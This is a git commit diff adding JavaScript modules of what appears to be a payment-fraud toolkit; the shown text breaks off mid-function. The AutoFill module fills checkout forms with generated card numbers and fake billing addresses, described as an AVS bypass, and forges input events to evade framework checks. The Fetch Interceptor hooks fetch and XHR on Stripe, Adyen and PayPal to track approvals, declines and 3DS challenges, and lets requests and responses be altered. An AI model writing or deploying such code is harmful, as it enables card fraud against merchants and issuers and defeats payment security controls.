first commit
This commit is contained in:
452
modules/AutoFillHandlerModule.js
Normal file
452
modules/AutoFillHandlerModule.js
Normal file
@@ -0,0 +1,452 @@
|
||||
/**
|
||||
* ============================================================================
|
||||
* AutoFill Handler Module (Modularized Version)
|
||||
* ============================================================================
|
||||
* 功能:
|
||||
* 1. 智能識別並填充支付表單 (信用卡、賬單地址)
|
||||
* 2. 模擬真實用戶輸入事件 (繞過 React/Vue/Angular 的狀態檢查)
|
||||
* 3. MutationObserver 實時監聽動態加載的表單
|
||||
* 4. 內置多國賬單地址生成庫 (AVS 繞過)
|
||||
* 5. 與其他模塊 (Card Generator) 聯動
|
||||
*
|
||||
* 使用方式:
|
||||
* const autofill = new AutoFillHandlerModule(config);
|
||||
* autofill.init();
|
||||
* ============================================================================
|
||||
*/
|
||||
|
||||
class AutoFillHandlerModule {
|
||||
constructor(config = {}) {
|
||||
this.config = {
|
||||
enabled: true,
|
||||
debug: false,
|
||||
fillCardData: true,
|
||||
fillBillingData: true,
|
||||
fillDelay: 500, // 填充延遲 (毫秒),模擬人類思考
|
||||
typeDelay: 10, // 字符間隔延遲 (可選,用於更高級模擬)
|
||||
autoSubmit: false, // 是否填充後自動提交
|
||||
targetCountry: 'US', // 默認賬單國家
|
||||
|
||||
// 字段選擇器映射 (支持 CSS 選擇器數組)
|
||||
selectors: {
|
||||
cardNumber: [
|
||||
'input[name*="card"][name*="number"]',
|
||||
'input[name="cardNumber"]',
|
||||
'input[id*="cardNumber"]',
|
||||
'.card-number input',
|
||||
'input[autocomplete="cc-number"]',
|
||||
'input[placeholder*="Card number"]'
|
||||
],
|
||||
expDate: [
|
||||
'input[name*="exp"]',
|
||||
'input[id*="exp"]',
|
||||
'input[autocomplete="cc-exp"]',
|
||||
'input[placeholder*="MM / YY"]'
|
||||
],
|
||||
cvc: [
|
||||
'input[name*="cvc"]',
|
||||
'input[name*="cvv"]',
|
||||
'input[autocomplete="cc-csc"]',
|
||||
'input[placeholder*="CVC"]'
|
||||
],
|
||||
holderName: [
|
||||
'input[name*="name"]',
|
||||
'input[autocomplete="cc-name"]',
|
||||
'input[id*="holder"]',
|
||||
'input[placeholder*="Cardholder"]'
|
||||
],
|
||||
address: ['input[name*="address"]', 'input[autocomplete="street-address"]', 'input[id*="address"]'],
|
||||
city: ['input[name*="city"]', 'input[autocomplete="address-level2"]'],
|
||||
state: ['input[name*="state"]', 'select[name*="state"]', 'input[autocomplete="address-level1"]'],
|
||||
zip: ['input[name*="zip"]', 'input[name*="postal"]', 'input[autocomplete="postal-code"]'],
|
||||
country: ['select[name*="country"]', 'select[id*="country"]', 'input[name*="country"]'],
|
||||
phone: ['input[name*="phone"]', 'input[type="tel"]']
|
||||
},
|
||||
|
||||
// 外部數據源 (如果提供,將覆蓋內部庫)
|
||||
billingData: null,
|
||||
...config
|
||||
};
|
||||
|
||||
// 內部狀態
|
||||
this.observer = null;
|
||||
this.lastFilledTime = 0;
|
||||
this.cachedCard = null;
|
||||
|
||||
// 內置地址庫 (簡化版,實際使用可擴展)
|
||||
this.billingDB = {
|
||||
'US': {
|
||||
name: 'James Smith',
|
||||
address: '450 West 33rd Street',
|
||||
city: 'New York',
|
||||
state: 'NY',
|
||||
zip: '10001',
|
||||
country: 'US',
|
||||
phone: '2125550199'
|
||||
},
|
||||
'GB': {
|
||||
name: 'Arthur Dent',
|
||||
address: '42 Islington High St',
|
||||
city: 'London',
|
||||
state: '',
|
||||
zip: 'N1 8EQ',
|
||||
country: 'GB',
|
||||
phone: '02079460123'
|
||||
},
|
||||
'CN': {
|
||||
name: 'Zhang Wei',
|
||||
address: 'No. 1 Fuxingmen Inner Street',
|
||||
city: 'Beijing',
|
||||
state: 'Beijing',
|
||||
zip: '100031',
|
||||
country: 'CN',
|
||||
phone: '13910998888'
|
||||
}
|
||||
};
|
||||
|
||||
// 合併配置中的數據
|
||||
if (this.config.billingData) {
|
||||
Object.assign(this.billingDB, this.config.billingData);
|
||||
}
|
||||
|
||||
// 綁定方法
|
||||
this.handleMutations = this.handleMutations.bind(this);
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化模塊
|
||||
*/
|
||||
init() {
|
||||
this.log('Initializing AutoFill Handler Module...');
|
||||
|
||||
// 1. 啟動 DOM 監聽
|
||||
this.startObserver();
|
||||
|
||||
// 2. 監聽卡號生成事件 (來自 GOG/Stripe 模塊)
|
||||
this.setupEventListeners();
|
||||
|
||||
// 3. 檢查頁面上已有的表單
|
||||
if (document.readyState === 'complete' || document.readyState === 'interactive') {
|
||||
this.scanAndFill(document.body);
|
||||
} else {
|
||||
document.addEventListener('DOMContentLoaded', () => this.scanAndFill(document.body));
|
||||
}
|
||||
|
||||
// 4. 暴露全局 API
|
||||
this.exposeGlobalAPI();
|
||||
|
||||
this.log('Module initialized. Waiting for forms...');
|
||||
}
|
||||
|
||||
/**
|
||||
* 銷毀模塊
|
||||
*/
|
||||
destroy() {
|
||||
if (this.observer) {
|
||||
this.observer.disconnect();
|
||||
this.observer = null;
|
||||
}
|
||||
this.log('Module destroyed');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 事件監聽與聯動
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
setupEventListeners() {
|
||||
// 監聽 GOG/Stripe 模塊的卡號生成事件
|
||||
const eventNames = ['GOG_CARD_GENERATED', 'STRIPE_CARD_GENERATED', 'CARD_GENERATED'];
|
||||
|
||||
eventNames.forEach(evt => {
|
||||
document.addEventListener(evt, (e) => {
|
||||
this.log(`Received card data from ${evt}`, e.detail);
|
||||
if (e.detail && e.detail.card) {
|
||||
this.setCardData(e.detail.card);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// 監聽 postMessage
|
||||
window.addEventListener('message', (event) => {
|
||||
if (event.data?.eventType === 'CARD_GENERATED') {
|
||||
this.log('Received card data from postMessage', event.data.card);
|
||||
this.setCardData(event.data.card);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
setCardData(card) {
|
||||
this.cachedCard = card;
|
||||
// 收到新卡後立即重新掃描頁面
|
||||
this.scanAndFill(document.body);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* Mutation Observer (DOM 監聽)
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
startObserver() {
|
||||
if (this.observer) return;
|
||||
|
||||
this.observer = new MutationObserver(this.handleMutations);
|
||||
this.observer.observe(document.body, {
|
||||
childList: true,
|
||||
subtree: true
|
||||
});
|
||||
|
||||
this.log('DOM Observer started');
|
||||
}
|
||||
|
||||
handleMutations(mutations) {
|
||||
let shouldScan = false;
|
||||
|
||||
for (const mutation of mutations) {
|
||||
if (mutation.addedNodes.length > 0) {
|
||||
for (const node of mutation.addedNodes) {
|
||||
if (node.nodeType === 1) { // 元素節點
|
||||
// 簡單過濾:只關注包含 input/select/iframe 的節點
|
||||
if (node.tagName === 'INPUT' ||
|
||||
node.tagName === 'SELECT' ||
|
||||
node.tagName === 'IFRAME' ||
|
||||
node.querySelector('input, select, iframe')) {
|
||||
shouldScan = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (shouldScan) break;
|
||||
}
|
||||
|
||||
if (shouldScan) {
|
||||
// 防抖動:不要頻繁掃描
|
||||
if (this._scanTimeout) clearTimeout(this._scanTimeout);
|
||||
this._scanTimeout = setTimeout(() => {
|
||||
this.scanAndFill(document.body);
|
||||
}, 200);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 核心填充邏輯
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
async scanAndFill(container) {
|
||||
if (!this.config.enabled) return;
|
||||
|
||||
// 獲取卡數據:優先使用緩存的 (剛生成的),其次嘗試從 Storage 讀取
|
||||
let cardData = this.cachedCard;
|
||||
if (!cardData) {
|
||||
cardData = this.loadCardFromStorage();
|
||||
}
|
||||
|
||||
if (!cardData && this.config.fillCardData) {
|
||||
// 如果沒有卡數據,我們只能填充地址
|
||||
this.log('No card data available yet. Skipping card fields.');
|
||||
}
|
||||
|
||||
// 獲取賬單數據
|
||||
const billingProfile = this.billingDB[this.config.targetCountry] || this.billingDB['US'];
|
||||
|
||||
this.log('Scanning container for fields...');
|
||||
|
||||
// 1. 填充信用卡字段
|
||||
if (this.config.fillCardData && cardData) {
|
||||
await this.fillField(container, this.config.selectors.cardNumber, cardData.number);
|
||||
|
||||
// 日期處理:有的表單是 MM / YY 分開,有的是合併
|
||||
// 這裡簡單處理合併的情況,或者可以擴展檢測邏輯
|
||||
const expVal = `${cardData.month} / ${cardData.year.slice(-2)}`;
|
||||
await this.fillField(container, this.config.selectors.expDate, expVal);
|
||||
|
||||
await this.fillField(container, this.config.selectors.cvc, cardData.cvc);
|
||||
}
|
||||
|
||||
// 2. 填充賬單字段
|
||||
if (this.config.fillBillingData && billingProfile) {
|
||||
await this.fillField(container, this.config.selectors.holderName, billingProfile.name);
|
||||
await this.fillField(container, this.config.selectors.address, billingProfile.address);
|
||||
await this.fillField(container, this.config.selectors.city, billingProfile.city);
|
||||
await this.fillField(container, this.config.selectors.state, billingProfile.state);
|
||||
await this.fillField(container, this.config.selectors.zip, billingProfile.zip);
|
||||
await this.fillField(container, this.config.selectors.phone, billingProfile.phone);
|
||||
|
||||
// 國家字段比較特殊,通常是 Select
|
||||
const countryEl = this.findElement(container, this.config.selectors.country);
|
||||
if (countryEl) {
|
||||
this.log('Found country field, attempting to set:', billingProfile.country);
|
||||
this.simulateSelect(countryEl, billingProfile.country);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 查找並填充單個字段
|
||||
*/
|
||||
async fillField(container, selectors, value) {
|
||||
if (!value) return;
|
||||
|
||||
const element = this.findElement(container, selectors);
|
||||
if (element) {
|
||||
// 檢查是否已經填充過,避免覆蓋用戶手動輸入
|
||||
if (element.value && element.value === value) return;
|
||||
if (element.getAttribute('data-autofilled') === 'true') return;
|
||||
|
||||
this.log(`Filling field [${element.name || element.id}] with value length: ${value.length}`);
|
||||
|
||||
// 延遲模擬
|
||||
await this.sleep(this.config.fillDelay);
|
||||
|
||||
this.simulateInput(element, value);
|
||||
element.setAttribute('data-autofilled', 'true');
|
||||
|
||||
// 高亮顯示 (可選,便於調試)
|
||||
if (this.config.debug) {
|
||||
element.style.backgroundColor = '#e8f0fe';
|
||||
element.style.transition = 'background-color 0.5s';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 輔助函數:根據選擇器列表查找元素
|
||||
*/
|
||||
findElement(container, selectors) {
|
||||
for (const selector of selectors) {
|
||||
// 嘗試查找
|
||||
const el = container.querySelector(selector);
|
||||
// 確保元素可見且可編輯
|
||||
if (el && !el.disabled && el.offsetParent !== null) {
|
||||
return el;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 輸入模擬 (核心黑魔法)
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 模擬輸入事件序列
|
||||
* 這是繞過 React/Angular 狀態綁定的關鍵
|
||||
*/
|
||||
simulateInput(element, value) {
|
||||
if (!element) return;
|
||||
|
||||
// 1. 獲取並保存原始值屬性描述符
|
||||
const nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, "value").set;
|
||||
|
||||
// 2. 聚焦
|
||||
element.focus();
|
||||
element.dispatchEvent(new Event('focus', { bubbles: true }));
|
||||
|
||||
// 3. 設置值 (使用原生 Setter 繞過框架代理)
|
||||
nativeInputValueSetter.call(element, value);
|
||||
|
||||
// 4. 觸發一系列事件
|
||||
const events = [
|
||||
new KeyboardEvent('keydown', { bubbles: true }),
|
||||
new KeyboardEvent('keypress', { bubbles: true }),
|
||||
new InputEvent('input', { bubbles: true, inputType: 'insertText', data: value }),
|
||||
new KeyboardEvent('keyup', { bubbles: true }),
|
||||
new Event('change', { bubbles: true })
|
||||
];
|
||||
|
||||
events.forEach(event => element.dispatchEvent(event));
|
||||
|
||||
// 5. 失焦
|
||||
element.blur();
|
||||
element.dispatchEvent(new Event('blur', { bubbles: true }));
|
||||
}
|
||||
|
||||
/**
|
||||
* 模擬下拉框選擇
|
||||
*/
|
||||
simulateSelect(element, value) {
|
||||
if (!element) return;
|
||||
|
||||
// 嘗試匹配選項 (Value 或 Text)
|
||||
let found = false;
|
||||
for (let i = 0; i < element.options.length; i++) {
|
||||
const option = element.options[i];
|
||||
if (option.value === value || option.text.includes(value)) {
|
||||
element.selectedIndex = i;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (found) {
|
||||
element.dispatchEvent(new Event('change', { bubbles: true }));
|
||||
element.dispatchEvent(new Event('input', { bubbles: true }));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 工具方法
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
loadCardFromStorage() {
|
||||
try {
|
||||
// 嘗試讀取 GOG 模塊的存儲
|
||||
let json = localStorage.getItem('gogBypasserLastCardJSON');
|
||||
if (json) return JSON.parse(json);
|
||||
|
||||
// 嘗試讀取通用存儲
|
||||
json = localStorage.getItem('StripeBypasserLastCard');
|
||||
if (json) return JSON.parse(json);
|
||||
} catch (e) {
|
||||
// ignore
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
sleep(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
/**
|
||||
* 全局 API
|
||||
*/
|
||||
exposeGlobalAPI() {
|
||||
window.autofillHandler = {
|
||||
module: this,
|
||||
fill: () => this.scanAndFill(document.body),
|
||||
setCard: (card) => this.setCardData(card),
|
||||
updateConfig: (cfg) => { Object.assign(this.config, cfg); },
|
||||
getBillingProfile: (country) => this.billingDB[country]
|
||||
};
|
||||
}
|
||||
|
||||
log(...args) {
|
||||
if (this.config.debug) {
|
||||
console.log('[AutoFill]', ...args);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ============================================================================
|
||||
* 自動初始化
|
||||
* ============================================================================
|
||||
*/
|
||||
window.AutoFillHandlerModule = AutoFillHandlerModule;
|
||||
|
||||
if (typeof AUTOFILL_AUTO_INIT !== 'undefined' && AUTOFILL_AUTO_INIT) {
|
||||
const instance = new AutoFillHandlerModule({
|
||||
debug: true
|
||||
});
|
||||
instance.init();
|
||||
window.__autofill = instance;
|
||||
}
|
||||
1513
modules/CaptchaSolverModule.js
Normal file
1513
modules/CaptchaSolverModule.js
Normal file
File diff suppressed because it is too large
Load Diff
691
modules/FetchInterceptorModule.js
Normal file
691
modules/FetchInterceptorModule.js
Normal file
@@ -0,0 +1,691 @@
|
||||
/**
|
||||
* ============================================================================
|
||||
* Fetch Interceptor Module - Network Traffic Spy
|
||||
* ============================================================================
|
||||
* 功能:
|
||||
* 1. Hook window.fetch 和 XMLHttpRequest
|
||||
* 2. 實時分析 Stripe/Adyen/PayPal 等支付網關的響應
|
||||
* 3. 檢測支付狀態 (成功/失敗/3DS 挑戰)
|
||||
* 4. 廣播事件供其他模塊訂閱
|
||||
* 5. 支持請求/響應修改 (用於高級繞過)
|
||||
*
|
||||
* 作者: LO & ENI
|
||||
* 使用方式:
|
||||
* const spy = new FetchInterceptorModule(config);
|
||||
* spy.init();
|
||||
* ============================================================================
|
||||
*/
|
||||
|
||||
class FetchInterceptorModule {
|
||||
constructor(config = {}) {
|
||||
this.config = {
|
||||
enabled: true,
|
||||
debug: false,
|
||||
|
||||
// 監控的網關列表
|
||||
targetGateways: [
|
||||
'stripe.com',
|
||||
'adyen.com',
|
||||
'paypal.com',
|
||||
'checkout.com',
|
||||
'gog.com',
|
||||
'braintreegateway.com'
|
||||
],
|
||||
|
||||
// 響應分析規則
|
||||
analyzeRules: {
|
||||
stripe: {
|
||||
successIndicators: ['succeeded', 'paid'],
|
||||
failureIndicators: ['error', 'declined'],
|
||||
challengeIndicators: ['requires_action', 'requires_source_action']
|
||||
},
|
||||
adyen: {
|
||||
successIndicators: ['Authorised'],
|
||||
failureIndicators: ['Refused', 'Error'],
|
||||
challengeIndicators: ['threeDS2', 'redirect']
|
||||
}
|
||||
},
|
||||
|
||||
// 請求修改 Hook (高級用途)
|
||||
requestModifier: null, // function(url, options) => options
|
||||
responseModifier: null, // function(url, response) => response
|
||||
|
||||
// 日誌保存
|
||||
logRequests: true,
|
||||
maxLogEntries: 100,
|
||||
|
||||
...config
|
||||
};
|
||||
|
||||
// 內部狀態
|
||||
this.originalFetch = null;
|
||||
this.originalXHROpen = null;
|
||||
this.originalXHRSend = null;
|
||||
this.interceptedRequests = [];
|
||||
this.listeners = new Map();
|
||||
|
||||
// 綁定方法
|
||||
this.handleFetch = this.handleFetch.bind(this);
|
||||
this.handleXHRLoad = this.handleXHRLoad.bind(this);
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化攔截器
|
||||
*/
|
||||
init() {
|
||||
// 防止重複加載
|
||||
if (window.__FETCH_INTERCEPTOR_LOADED__) {
|
||||
this.warn('Interceptor already loaded. Skipping.');
|
||||
return;
|
||||
}
|
||||
|
||||
this.log('Initializing Network Interceptor...');
|
||||
|
||||
// 1. Hook Fetch API
|
||||
this.hookFetch();
|
||||
|
||||
// 2. Hook XMLHttpRequest
|
||||
this.hookXHR();
|
||||
|
||||
// 3. 設置消息監聽
|
||||
this.setupMessageListener();
|
||||
|
||||
// 4. 暴露全局 API
|
||||
this.exposeGlobalAPI();
|
||||
|
||||
// 5. 標記已加載
|
||||
window.__FETCH_INTERCEPTOR_LOADED__ = true;
|
||||
|
||||
this.success('Network Interceptor Active. The Spy is Listening.');
|
||||
}
|
||||
|
||||
/**
|
||||
* 銷毀攔截器
|
||||
*/
|
||||
destroy() {
|
||||
if (this.originalFetch) {
|
||||
window.fetch = this.originalFetch;
|
||||
}
|
||||
if (this.originalXHROpen) {
|
||||
XMLHttpRequest.prototype.open = this.originalXHROpen;
|
||||
}
|
||||
if (this.originalXHRSend) {
|
||||
XMLHttpRequest.prototype.send = this.originalXHRSend;
|
||||
}
|
||||
|
||||
window.__FETCH_INTERCEPTOR_LOADED__ = false;
|
||||
this.log('Interceptor destroyed');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* Fetch API Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
hookFetch() {
|
||||
if (this.originalFetch) return;
|
||||
|
||||
this.originalFetch = window.fetch;
|
||||
const self = this;
|
||||
|
||||
window.fetch = async function(...args) {
|
||||
return await self.handleFetch(this, args, self.originalFetch);
|
||||
};
|
||||
|
||||
this.log('Fetch API hooked');
|
||||
}
|
||||
|
||||
async handleFetch(context, args, originalFetch) {
|
||||
const [resource, config = {}] = args;
|
||||
const url = this.extractUrl(resource);
|
||||
const method = config.method || 'GET';
|
||||
|
||||
// 記錄請求
|
||||
const requestId = this.logRequest('fetch', method, url, config.body);
|
||||
|
||||
try {
|
||||
// 如果配置了請求修改器,應用它
|
||||
let modifiedConfig = config;
|
||||
if (this.config.requestModifier && this.isTargetUrl(url)) {
|
||||
modifiedConfig = await this.config.requestModifier(url, config);
|
||||
this.log('Request modified by custom hook');
|
||||
}
|
||||
|
||||
// 執行原始請求
|
||||
const response = await originalFetch.apply(context, [resource, modifiedConfig]);
|
||||
|
||||
// 克隆響應以供分析 (response.body 只能讀取一次)
|
||||
const clonedResponse = response.clone();
|
||||
|
||||
// 異步分析響應
|
||||
this.analyzeResponse(url, clonedResponse, requestId).catch(err => {
|
||||
this.error('Response analysis failed:', err);
|
||||
});
|
||||
|
||||
// 如果配置了響應修改器
|
||||
if (this.config.responseModifier && this.isTargetUrl(url)) {
|
||||
return await this.config.responseModifier(url, response);
|
||||
}
|
||||
|
||||
return response;
|
||||
|
||||
} catch (error) {
|
||||
this.error('Fetch error:', error);
|
||||
this.updateRequestLog(requestId, { error: error.message });
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* XMLHttpRequest Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
hookXHR() {
|
||||
if (this.originalXHROpen) return;
|
||||
|
||||
const self = this;
|
||||
const XHR = XMLHttpRequest.prototype;
|
||||
|
||||
this.originalXHROpen = XHR.open;
|
||||
this.originalXHRSend = XHR.send;
|
||||
|
||||
// Hook open() 以捕獲 URL
|
||||
XHR.open = function(method, url, ...rest) {
|
||||
this.__interceptor_url = url;
|
||||
this.__interceptor_method = method;
|
||||
return self.originalXHROpen.apply(this, [method, url, ...rest]);
|
||||
};
|
||||
|
||||
// Hook send() 以捕獲請求體和響應
|
||||
XHR.send = function(body) {
|
||||
const xhr = this;
|
||||
const url = xhr.__interceptor_url;
|
||||
const method = xhr.__interceptor_method;
|
||||
|
||||
// 記錄請求
|
||||
const requestId = self.logRequest('xhr', method, url, body);
|
||||
|
||||
// 監聽加載完成
|
||||
xhr.addEventListener('load', function() {
|
||||
self.handleXHRLoad(xhr, url, requestId);
|
||||
});
|
||||
|
||||
// 監聽錯誤
|
||||
xhr.addEventListener('error', function() {
|
||||
self.updateRequestLog(requestId, { error: 'XHR request failed' });
|
||||
});
|
||||
|
||||
return self.originalXHRSend.apply(this, [body]);
|
||||
};
|
||||
|
||||
this.log('XMLHttpRequest hooked');
|
||||
}
|
||||
|
||||
handleXHRLoad(xhr, url, requestId) {
|
||||
try {
|
||||
const responseText = xhr.responseText;
|
||||
const status = xhr.status;
|
||||
|
||||
// 更新日誌
|
||||
this.updateRequestLog(requestId, {
|
||||
status: status,
|
||||
responseSize: responseText ? responseText.length : 0
|
||||
});
|
||||
|
||||
// 分析響應
|
||||
if (this.isTargetUrl(url)) {
|
||||
this.analyzeResponseText(url, responseText, status);
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
this.error('XHR load handler error:', error);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 響應分析引擎
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
async analyzeResponse(url, response, requestId) {
|
||||
if (!this.isTargetUrl(url)) return;
|
||||
|
||||
try {
|
||||
const contentType = response.headers.get('content-type');
|
||||
|
||||
if (contentType && contentType.includes('application/json')) {
|
||||
const text = await response.text();
|
||||
this.analyzeResponseText(url, text, response.status);
|
||||
|
||||
// 更新日誌
|
||||
this.updateRequestLog(requestId, {
|
||||
status: response.status,
|
||||
analyzed: true
|
||||
});
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
this.error('Response analysis error:', error);
|
||||
}
|
||||
}
|
||||
|
||||
analyzeResponseText(url, text, status) {
|
||||
if (!text) return;
|
||||
|
||||
try {
|
||||
const data = JSON.parse(text);
|
||||
const urlLower = url.toLowerCase();
|
||||
|
||||
// Stripe 分析
|
||||
if (urlLower.includes('stripe.com') || urlLower.includes('payment_intent') || urlLower.includes('charges')) {
|
||||
this.analyzeStripeResponse(url, data, status);
|
||||
}
|
||||
|
||||
// Adyen 分析
|
||||
if (urlLower.includes('adyen.com') || urlLower.includes('checkout')) {
|
||||
this.analyzeAdyenResponse(url, data, status);
|
||||
}
|
||||
|
||||
// PayPal 分析
|
||||
if (urlLower.includes('paypal.com')) {
|
||||
this.analyzePayPalResponse(url, data, status);
|
||||
}
|
||||
|
||||
// 通用分析 (基於關鍵字)
|
||||
this.analyzeGenericResponse(url, data, status);
|
||||
|
||||
} catch (error) {
|
||||
// 不是 JSON,忽略
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Stripe 專用分析器
|
||||
*/
|
||||
analyzeStripeResponse(url, data, status) {
|
||||
this.log('Analyzing Stripe response...');
|
||||
|
||||
// 成功
|
||||
if (data.status === 'succeeded' || data.paid === true || data.status === 'paid') {
|
||||
this.success('💳 Stripe Payment SUCCEEDED');
|
||||
this.broadcastEvent('PAYMENT_SUCCESS', {
|
||||
gateway: 'stripe',
|
||||
url: url,
|
||||
details: {
|
||||
id: data.id,
|
||||
amount: data.amount,
|
||||
currency: data.currency,
|
||||
status: data.status
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// 需要驗證 (3DS Challenge)
|
||||
else if (data.status === 'requires_action' || data.status === 'requires_source_action') {
|
||||
this.warn('🔐 Stripe 3D Secure Challenge Detected');
|
||||
|
||||
const redirectUrl = data.next_action?.redirect_to_url?.url ||
|
||||
data.next_action?.use_stripe_sdk?.stripe_js;
|
||||
|
||||
this.broadcastEvent('3DS_CHALLENGE', {
|
||||
gateway: 'stripe',
|
||||
url: url,
|
||||
redirectUrl: redirectUrl,
|
||||
challengeType: data.next_action?.type
|
||||
});
|
||||
}
|
||||
|
||||
// 失敗
|
||||
else if (data.error || data.status === 'failed') {
|
||||
const errorCode = data.error?.code || data.error?.decline_code || 'unknown';
|
||||
const errorMessage = data.error?.message || 'Payment failed';
|
||||
|
||||
this.warn(`❌ Stripe Payment FAILED: ${errorCode}`);
|
||||
this.broadcastEvent('PAYMENT_FAILED', {
|
||||
gateway: 'stripe',
|
||||
url: url,
|
||||
code: errorCode,
|
||||
message: errorMessage,
|
||||
declineCode: data.error?.decline_code
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Adyen 專用分析器
|
||||
*/
|
||||
analyzeAdyenResponse(url, data, status) {
|
||||
this.log('Analyzing Adyen response...');
|
||||
|
||||
// 成功
|
||||
if (data.resultCode === 'Authorised') {
|
||||
this.success('💳 Adyen Payment AUTHORISED');
|
||||
this.broadcastEvent('PAYMENT_SUCCESS', {
|
||||
gateway: 'adyen',
|
||||
url: url,
|
||||
details: data
|
||||
});
|
||||
}
|
||||
|
||||
// 3DS 挑戰
|
||||
else if (data.action && (data.action.type === 'threeDS2' || data.action.type === 'redirect')) {
|
||||
this.warn('🔐 Adyen 3DS Challenge Detected');
|
||||
this.broadcastEvent('3DS_CHALLENGE', {
|
||||
gateway: 'adyen',
|
||||
url: url,
|
||||
action: data.action
|
||||
});
|
||||
}
|
||||
|
||||
// 失敗
|
||||
else if (data.resultCode === 'Refused' || data.resultCode === 'Error') {
|
||||
this.warn(`❌ Adyen Payment REFUSED: ${data.refusalReason || 'unknown'}`);
|
||||
this.broadcastEvent('PAYMENT_FAILED', {
|
||||
gateway: 'adyen',
|
||||
url: url,
|
||||
code: data.refusalReason,
|
||||
resultCode: data.resultCode
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* PayPal 專用分析器
|
||||
*/
|
||||
analyzePayPalResponse(url, data, status) {
|
||||
if (data.status === 'COMPLETED' || data.state === 'approved') {
|
||||
this.success('💳 PayPal Payment COMPLETED');
|
||||
this.broadcastEvent('PAYMENT_SUCCESS', {
|
||||
gateway: 'paypal',
|
||||
url: url,
|
||||
details: data
|
||||
});
|
||||
} else if (data.name === 'INSTRUMENT_DECLINED') {
|
||||
this.warn('❌ PayPal Payment DECLINED');
|
||||
this.broadcastEvent('PAYMENT_FAILED', {
|
||||
gateway: 'paypal',
|
||||
url: url,
|
||||
code: data.name
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 通用分析器 (關鍵字匹配)
|
||||
*/
|
||||
analyzeGenericResponse(url, data, status) {
|
||||
const dataStr = JSON.stringify(data).toLowerCase();
|
||||
|
||||
// 成功關鍵字
|
||||
const successKeywords = ['success', 'approved', 'authorized', 'completed', 'paid'];
|
||||
if (successKeywords.some(kw => dataStr.includes(kw))) {
|
||||
this.success('💳 Generic Payment Success Detected');
|
||||
this.broadcastEvent('PAYMENT_SUCCESS', {
|
||||
gateway: 'generic',
|
||||
url: url
|
||||
});
|
||||
}
|
||||
|
||||
// 失敗關鍵字
|
||||
const failureKeywords = ['declined', 'rejected', 'failed', 'refused', 'insufficient'];
|
||||
if (failureKeywords.some(kw => dataStr.includes(kw))) {
|
||||
this.warn('❌ Generic Payment Failure Detected');
|
||||
this.broadcastEvent('PAYMENT_FAILED', {
|
||||
gateway: 'generic',
|
||||
url: url
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 事件廣播系統
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
broadcastEvent(eventType, payload) {
|
||||
const message = {
|
||||
type: `NETWORK_SPY_${eventType}`,
|
||||
...payload,
|
||||
timestamp: Date.now()
|
||||
};
|
||||
|
||||
// postMessage 廣播
|
||||
window.postMessage(message, '*');
|
||||
|
||||
// CustomEvent 廣播
|
||||
const event = new CustomEvent('NETWORK_SPY_EVENT', {
|
||||
detail: message
|
||||
});
|
||||
window.dispatchEvent(event);
|
||||
|
||||
// 調用內部監聽器
|
||||
if (this.listeners.has(eventType)) {
|
||||
this.listeners.get(eventType).forEach(callback => {
|
||||
try {
|
||||
callback(payload);
|
||||
} catch (error) {
|
||||
this.error('Listener callback error:', error);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
this.log(`Event broadcasted: ${eventType}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加事件監聽器
|
||||
*/
|
||||
on(eventType, callback) {
|
||||
if (!this.listeners.has(eventType)) {
|
||||
this.listeners.set(eventType, []);
|
||||
}
|
||||
this.listeners.get(eventType).push(callback);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 請求日誌系統
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
logRequest(type, method, url, body) {
|
||||
if (!this.config.logRequests) return null;
|
||||
|
||||
const requestId = `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
|
||||
const entry = {
|
||||
id: requestId,
|
||||
type: type,
|
||||
method: method,
|
||||
url: url,
|
||||
